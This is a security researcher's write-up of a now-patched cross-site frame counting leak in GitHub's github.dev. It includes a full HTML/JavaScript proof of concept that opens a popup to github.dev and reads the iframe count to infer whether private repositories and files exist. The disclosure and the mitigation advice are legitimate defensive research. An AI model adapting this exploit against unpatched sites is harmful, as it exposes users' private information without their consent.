frames.length
Introduction
Cross-Site Frame Counting
alludes to the technique of determining the total number of windows references (iframes) from external websites. While it is not a vulnerability in itself, as I will demonstrate in the following example, it can potentially lead to the exposure of private information if the number of iframes loaded on the target website varies depending on certain conditions.
Thanks to the GitHub team for confirming that I was free to publish this article based on the report contents. Although I’m unable to disclose the report on HackerOne due to it being marked as an internal duplicate, I decided to share the research through this write-up.
In the next section, I will illustrate how this technique, known as cross-site frame counting, could have potentially exposed your private GitHub repositories names and filenames by allowing attackers to infer their existence.
Methodology
To identify this kind of attacks, we’ll apply the following methodology:
Context
GitHub utilizes custom VS-Codespaces to enhance the code editing experience for repositories. The URL pattern to access and edit these files back in the day follows this pattern:
https://github.dev/{USER}/{REPOSITORY}/blob/master/{FILENAME}
During my testing, I discovered an interesting behavior related to the number of iframes loaded, which led to the following observations:
-
When 2 iframes are loaded, it indicates that the file does not exist, but the private repository does. It happens due to the Get Started section was being embedded within an iframe.
- If only 1 iframe is loaded, then the file exist in the repository.
- When 0 iframes are loaded, then the repository does not exist.
Exploit
With that conditions in mind, I coded a PoC as an example of a potential attacker website to show how to expose private repositories and files in a private github repository:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>GitHub PoC</title>
<style>
*
{
background-color: black;
color: white;
font-size: 35px;
}
span
{
font-weight: bold;
color: green;
}
.repos
{
border: 1px solid red;
font-weight: bold;
}
button{
background: #ff4500;
color: white;
border: none;
border-radius: 20px;
height: 30px;
padding: 8px;
font-weight: bold;
display: block;
position: relative;
width: 520px;
font-size: 15px;
}
</style>
</head>
<body>
<div>
<button onclick="attack();">Start Attack</button>
<p>
Dear user, <span id="user"></span>. Here are your private repositories:
</p>
<div id="repos" class="repos"></div>
</div>
<script type="text/javascript">
var win;
// Change this variable to the user you want to leak the private repositories
var user = 'mr-medi';
var repositoriesToCheck = ['mi-web', 'not-found'];
var files = ['metallica.ttf', 'index.html', 'test.txt', 'robots.txt'];
/*
Function to check if a file in a private repository exist by counting the iframes.
If 2 iframes are loaded, it means the file does not exist.
If 1 iframe, then the file exists in the repository.
If 0 iframes, then the repository does not exists.
*/
async function existsFile(url)
{
win.location = url;
// Wait for the page to load
await setTimeout(() =>
{
// Read the number of iframes loaded
var iframesCount = win.length;
var message = "";
if (iframesCount == 0)
{
message = "[ - ] " + iframesCount + " iframes - Repository doesn't exists in -> " + url;
}
else
{
var message = iframesCount >= 2 ? "[ - ] " + iframesCount + " iframes - NOT FOUND -> " + url : "[ + ] "+ iframesCount +" iframes - FOUND! -> " + url;
if (iframesCount == 1)
{
let urlRepo = url.replace("https://github.dev", "https://github.com")
let divRepos = document.getElementById("repos");
let pElement = document.createElement("p");
pElement.textContent = urlRepo;
divRepos.appendChild(pElement);
}
}
console.log(message);
}, 9000);
}
/*
MAIN FUNCTION
*/
async function attack()
{
win = window.open("",'','width=1,height=1,resizable=no');
let spanUser = document.getElementById("user");
spanUser.textContent = user;
// FOREACH REPOSITORY
for (let i in repositoriesToCheck)
{
let repo = repositoriesToCheck[i].replaceAll("-", "");
// WE ITERATE THROUGH EACH FILE
for (let j in files)
{
let file = files[j];
let url = "https://github.dev/" + user + "/" + repo + "/blob/master/" + file;
await existsFile(url);
await new Promise(r => setTimeout(r, 9000));
}
}
win.close();
};
</script>
</body>
</html>
This was reported at the end of 2022 and patched now by adding COOP Headers.
Final Thoughts
Cross-Site Frame Counting is an old but still relevant issue. Despite few public reports, it’s worth highlighting in major platforms like GitHub. Using COOP headers can help mitigate this issue by restricting cross-origin access to the opened window.
I’m not sure who was the first researcher to discuss about this issue, so, for references, I will cite the XSLeaks Wiki.
Securing applications
To mitigate the risk of data exposure through Cross-Site Frame Counting, it is crucial to load the same number of iframes consistently, regardless of any state. By ensuring a uniform iframe loading behavior, the application can prevent potential information leakage that could occur due to variations in the number of iframes. Or using COOP headers as described to restrict cross-origin access to the opened window.
References
Cross-Site Frame Counting Explained in XS-Leaks Wiki
Expose who you have been messaging with via Cross-Site Frame Counting on Facebook